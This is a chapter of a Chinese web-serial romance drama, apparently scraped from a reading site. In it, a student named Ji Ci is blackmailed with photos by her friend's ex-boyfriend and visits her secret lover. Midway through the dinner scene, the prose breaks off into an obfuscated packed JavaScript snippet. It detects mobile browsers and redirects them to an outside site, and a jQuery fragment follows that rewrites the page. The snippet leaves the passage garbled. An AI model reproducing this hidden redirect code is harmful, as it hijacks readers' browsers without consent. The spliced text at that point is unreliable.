季慈抱着鱼缸回宿舍，洗净樱花瓣铺在底下，打开水龙头灌满水，浅粉色的花瓣升至水面，漾起一圈透明的波纹。


    自从小金鱼来到宿舍，很快就成为新宠，钟晓倩走过来，说：“这个鱼缸尺寸合适，回头可以给它抓只弟弟妹妹回来。”


    季慈把小金鱼从原先的鱼缸捞出来，放入新鱼缸，回：“大有什么用，鱼不还得困在里面？”


    钟晓倩看她，笑说，“你是不是傻了，鱼没有水怎么活？”


    陪它玩了会，作业没完成，她只得继续做苦力。寂静的阳台，季慈无声凝视这条小金鱼，想起苏端刚才说的话，眸子敛了敛，随后整只手没入鱼缸。


    她目标明确，小鱼无处可逃，沦为掌中物，躺在主人微湿的掌心，尾巴上下扑动。季慈将酥痒滑腻的掌心收起，感受着金鱼愈发剧烈的挣扎，手心的力道不减反增。


    直至挣扎渐息，邪恶的阀门在此刻松了闸，季慈平摊五指，手心平翻一百八十度。


    金色斑影坠入粉色的海，在平静的水面溅起圈圈涟漪，小鱼原地静止一会儿，便很快摆脱几秒前的死态，在海草缝隙灵活穿梭。


    季慈撒了几粒鱼食，金鱼十分谨慎地游至水面，慢慢进食。正想给它再添几粒，它倏一下游走，躲进海草里。


    看来这条鱼是和她“结下梁子”了。


    季慈勾唇，放下鱼食，离开阳台。翌日清晨再去看，水面干净，只有她带回来的樱花瓣。


    据说鱼的记忆只有七秒。


    经过一天一夜，几十个小时，再次面对主人投喂，它畅游到水面，张开嘴巴，一口一个。


    看吧，即便再恨再怕又能怎样？


    动物和人一样，都明白屋檐低头的道理。


    -


    室外天空湛蓝，通透得像是一块玻璃翠，傍午的阳光里，已经颇有些暑意。


    上午最后一节是罗纪的《翻译理论概要》。


    枝繁叶茂的树枝，夏蝉蛰居，只闻隐隐的蝉声此起彼伏。


    罗纪在讲台滔滔不绝讲述，底下学生专心致志听讲，不敢开一点小差。毕竟他的冷面无情在整个外院出名，每年期末考总有几位幸运儿喜提挂科。


    讲到外国翻译理论这块，季慈正认真做笔记，手机屏幕忽闪，来了微信提示。


    她本没打算看，但显示消息是苏端发来的，季慈咽下嗓子，望了眼上面声情并茂讲课的导师，指尖缓缓滑开锁屏键。


    似是害怕她忘记约定，又或是催她快点下决定，苏端发来一张她和叶清楠举止亲昵的牵手照。


    没有任何文字表述，只是一张照片而已。


    盯着照片里她略带微笑的侧脸，季慈鼻翼翕动，呼吸渐沉，瞳仁中升起把隐隐燃烧的大火，像是要把这张脸烧得连灰都不剩。


    罗纪清了清嗓子，问：“讲了这么久，哪位同学来说一下翻译目的论理论？”


    台下鸦雀无声，他犀利的眼眸眯起，最终将视线定格在季慈失神的脸上。


    “季慈，起来说一下。”


    蝉声断鸣，醇厚的嗓音带着难以撼动的主导权。


    被点名的人麻木呆坐，叶语卿见状，戳戳她大腿，小声提醒，“快起来，罗工头叫你了。”


    钟晓倩扯了扯她衣服：“季慈，你在干什么？罗纪的课居然还敢走神？”


    眼珠稍动，季慈回了神，手机息屏，她站起来平静问，“老师，我刚没听清，可以麻烦您重新说一遍吗？”


    罗纪颇为不满地重申问题。


    季慈娓娓道来：“翻译的目的论理论是由德国语言学家汉斯.弗米尔提出，他摆脱以原语为中心等值论的束缚，创立了功能派的祭奠理论目的论...”


    ...


    两小时的课让人听得精疲力尽，季慈后半段一直努力让保持专注，大脑却不受控制，一直去想照片的事。


    十二点，解放铃声响起，罗纪布置完作业，所有学生快速收拾书包，火急火燎去干饭。


    “季慈，你刚刚上课怎么回事？不符合你一贯的作风啊。”


    走出教室，叶语卿说道。想到什么，她悄声问，“是不是家里那边又出什么事了？”


    季慈笑着摇头，说了好几声没事。


    外院门口，苏端站在树荫底，身旁同学路过，还不知道两人早已分手，一个女生说：“叶语卿男朋友又来了。”


    这话传到她耳朵里，叶语卿不免动怒，气冲冲过去，“我倒要去问问他，究竟想干什么。”


    季慈沉默须臾，追过去。


    叶语卿把苏端带到外面的小树林，这里学生不多，有些话可以当面讲清。


    “你到底想干什么？”


    她双臂环胸，耐心不足。


    苏端上前一步，企图握住她的手，却被人无情拂开。他软言道：“语卿，我知道错了，你原谅我吧，我是真心喜欢你的。”


    听到这个真心，叶语卿一声冷笑，斜睨着他，“如果你的真心就是所谓的欺骗，那你的真心值几个钱啊？”


    “要是你还念着我们之间有交情，我劝你马上从我的生活消失。”


    苏端见软的不行，便轻哼一声，“你一直觉得我对不起你，是吧？你以为对你好的人，私底下就没做过对不起你的事？”


    季慈一直站在小路出口处，平静看着苏端发疯。


    叶语卿眼中狐疑闪烁，“你什么意思，把话讲清楚。”


    苏端笑了下，视线似有似无划过季慈，稍微耸肩，“没什么，只是提醒你要小心身边人，毕竟身边人最容易捅刀子了。”


    “语卿，记住，我是不会轻易放开你的手。”


    两人的对话季慈全部听见。


    小路狭窄，容不下两人通行，苏端从身边路过时她没动身子，他浑浊的鼻息扑在季慈脸颊，上扬的唇角仿佛在说，我送的礼物还满意吗？


    季慈前额低垂，默默收紧掌心。


    心神不安度过下午，晚上聚餐，她们几个去吃了海底捞。


    尽管上次约好，叶清楠这晚却没让她过去，他不说，季慈自然不会当出头鸟，她巴不得这人把她扔在哪个犄角旮旯忘了呢。


    四个女生点了几盘肉和蔬菜拼盘。


    瞧着对面兴致不高的两人，钟晓倩问，“怎么愁眉苦脸的，谁惹两位不高兴了？”


    叶语卿双手托腮，说了句烦，“你们以后找男朋友一定得擦亮眼睛，不像我，当初怎么看上苏端这个渣男。”


    唐怡偶然刷到宁大体院一体育生的抖音视频，对方撩开衣服，露出八块腹肌，再配上背景音乐，确实够带劲。


    她笑得合不拢嘴，给旁边人看，“这学弟长得不错，据说190，不过看着也挺渣，搞不好故意钓鱼。”


    钟晓倩瞥一眼，中肯评价，“也就那样，最近不迷小鲜肉，现在喜欢成熟男人。”


    唐怡撇嘴，“钟晓倩，你什么时候走高端路线了？”


    钟晓倩不置可否，撩几下头发，开玩笑地问，“你哥有没有女朋友？”


    叶语卿端起架子，“据我所知，目前没有。怎么，你想当我嫂子？”


    “那你先叫一声听听。”


    “美得你。”


    叶语卿顺手拿起包纸巾扔过去。


    季慈在一旁缄默，抱着手机不撒手。


    叶语卿悠悠道：“季慈，从下午开始你就手机不离身，怎么，在等男朋友消息


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14254105|148637||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？”


    对于季慈有男友这事，大家一直心知肚明，只不过季慈并非张扬的性子，她们也不好多说什么。如若换成她们三人中任何一个，绝对会被盘出浆来。


    锅底渐沸，通红的番茄锅热气腾腾，烟雾缭绕，令人不由自主产生食欲，服务员在旁将肉片置入锅中。


    即将动筷的时候，季慈突然拍了下桌子。众人诧异，就连服务员下菜的手也是一抖。


    唐怡拍拍胸脯：“大姐，你这是咋啦？”


    季慈笑笑，说没事，扔下手机，提议道，“这氛围不来点酒真是可惜了。”


    叶语卿挑眉，打了个响指，向服务员点了瓶啤酒。


    胸口闷得厉害，季慈先倒了半杯。


    半小时前，苏端又给她发来一张照片，强行帮她拼凑起那晚的记忆，季慈忍无可忍，忿忿给他发消息，“你到底想干什么？”


    苏端那边回的倒是快，发来一家酒店地址：“周末把叶语卿带到这儿，如果没看到人，后果自负。季慈，你也别怪我，因为我们都是一样的人。”


    都是一样的人。


    一个背着女朋友和别人聊/骚。


    一个背着好朋友和她哥哥睡觉。


    果然，都是一样的人，谁也别怪谁。


    酒足饭饱，她们几个站在路边，钟晓倩找出约车app打车。


    季慈淡声说，“我今晚不回宿舍了。”


    钟晓倩挑眉：“怎么，你男朋友约你。”


    她轻轻点头。


    唐怡喝了点酒，拉着她的手说，“季慈，你这个男朋友真有这么好？值得你放弃徐公？”


    徐公？


    叶语卿愣了几秒，忍不住大笑。


    知道她喝醉了，季慈反应很淡，“你们把唐怡看好了，别半路耍酒疯头跳车。”


    “放心。”约的车来了，叶语卿最后确认，“你真不跟我们回去？”


    季慈轻嗯一声，帮着把唐怡扶上车，她拦下一辆出租车，上车先对师傅说去附近最近的一家药店。


    几分钟后，司机把车停在药店门口，下车前，季慈和他说，“师傅，麻烦您等一会，我马上出来。”


    进了药店，她直截了当地对店员说，“你好，帮我拿盒紧急避孕药。”


    店员拿出一盒，摆在季慈跟前，告诉她，“这是副作用最小的一款。”


    季慈说了声谢，付钱离开。走出药店，她撕开包装，按说明往嘴里填入两粒，药片没就水直接入喉，剩下的被她塞进背包。


    “姑娘，下面去哪？”


    上车后，师傅问她。


    喉咙艰难两下，季慈嘴角微微抽搐，声音还带着苦涩，说：“去悦庭庄园。”


    悦庭庄园门卫森严，外来车辆一概不得入内。出租车停在蟠龙石柱前，季慈付完钱后下车，独自伫立在门口。保安凝视她数眼，并未放行。


    包里带着上次陈女士给她的门卡，季慈拿出手机，主动给叶清楠拨去一通电话。


    尽管明白这通电话确实鲁莽冲动，乃至越界。


    此时此刻，她全然不知叶清楠在做什么，是在公司办公，还是在应酬交际，又或是陪在某个陌生女子身旁。


    这一切她通通没想。


    总之，这通电话实实在在拨过去了，季慈已经做好心理准备，就算叶清楠拒接，她也不会有分毫怨言。


    铃声规律响着，时间静静流淌，不知过了多久，叶清楠终于接起电话，就在她即将放弃的时候接了电话。


    听筒里是无尽的沉默，唯有沉重的呼吸声在悄然流淌，季慈心里清楚，他在。深吸口气，她的嗓音带着细碎的娇嗔，“叶先生，您是不是忘了我们的约定了？”